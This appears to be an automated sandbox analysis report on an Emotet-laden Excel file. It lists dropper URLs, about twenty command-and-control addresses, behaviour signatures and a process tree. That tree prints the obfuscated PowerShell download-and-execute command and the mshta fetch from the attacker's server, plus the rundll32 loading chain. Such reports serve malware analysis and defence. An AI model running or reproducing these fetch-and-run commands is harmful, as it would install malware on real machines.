Analysis

  • max time kernel
    155s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28/01/2022, 16:03

General

  • Target
    Mail-550898030336.xls
  • Size 76KB
  • Sample220128-thc6pagcfj
  • SHA256 9d89baddbcdadef7e35bf25b5705eae33e688f87f0f311f1da9ff7002effc8bf
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/qqw/aas/se.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/qqw/aas/se.png

Extracted

Family
  • emotet

Botnet
  • Epoch5

C2
  • 74.207.230.120:8080

  • 139.196.72.155:8080

  • 37.44.244.177:8080

  • 37.59.209.141:8080

  • 116.124.128.206:8080

  • 217.182.143.207:443

  • 54.37.228.122:443

  • 203.153.216.46:443

  • 168.197.250.14:80

  • 207.148.81.119:8080

  • 195.154.146.35:443

  • 78.46.73.125:443

  • 191.252.103.16:80

  • 210.57.209.142:8080

  • 185.168.130.138:443

  • 142.4.219.173:8080

  • 118.98.72.86:443

  • 78.47.204.80:443

  • 159.69.237.188:443

  • 190.90.233.66:443

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Mail-550898030336.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1108
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c mshta http://91.240.118.168/qqw/aas/se.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:772
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/qqw/aas/se.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1644
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqw/aas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1076
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1908
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1744
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1592
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Aiigjhhxra\kfxpxjvyvxhgf.hqu",cDUnyAHzuNxDDuE
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1676
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Aiigjhhxra\kfxpxjvyvxhgf.hqu",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1252

Network

        MITRE ATT&CK Enterprise v6

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        memory/1076-63-0x0000000001D52000-0x0000000001D54000-memory.dmp

        memory/1076-62-0x0000000001D51000-0x0000000001D52000-memory.dmp

        memory/1076-61-0x0000000001D50000-0x0000000001D51000-memory.dmp

        memory/1076-60-0x0000000002210000-0x0000000002253000-memory.dmp

        memory/1108-57-0x0000000075431000-0x0000000075433000-memory.dmp

        memory/1108-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1108-116-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1108-54-0x000000002FC91000-0x000000002FC94000-memory.dmp

        memory/1108-55-0x0000000071461000-0x0000000071463000-memory.dmp

        memory/1252-103-0x0000000000CD0000-0x0000000000CF7000-memory.dmp

        memory/1252-109-0x00000000028D0000-0x00000000028F7000-memory.dmp

        memory/1252-113-0x0000000002A90000-0x0000000002AB7000-memory.dmp

        memory/1252-111-0x00000000029A0000-0x00000000029C7000-memory.dmp

        memory/1252-107-0x0000000002640000-0x0000000002667000-memory.dmp

        memory/1252-105-0x0000000002500000-0x0000000002527000-memory.dmp

        memory/1252-101-0x0000000000B60000-0x0000000000B87000-memory.dmp

        memory/1252-97-0x0000000000810000-0x0000000000837000-memory.dmp

        memory/1252-99-0x00000000008B0000-0x00000000008D7000-memory.dmp

        memory/1592-77-0x0000000000370000-0x0000000000397000-memory.dmp

        memory/1592-87-0x0000000002520000-0x0000000002547000-memory.dmp

        memory/1592-85-0x0000000002110000-0x0000000002137000-memory.dmp

        memory/1592-79-0x0000000000460000-0x0000000000487000-memory.dmp

        memory/1592-83-0x0000000000AC0000-0x0000000000AE7000-memory.dmp

        memory/1592-81-0x00000000009D0000-0x00000000009F7000-memory.dmp

        memory/1676-90-0x00000000007B0000-0x00000000007D7000-memory.dmp

        memory/1744-70-0x0000000000220000-0x0000000000247000-memory.dmp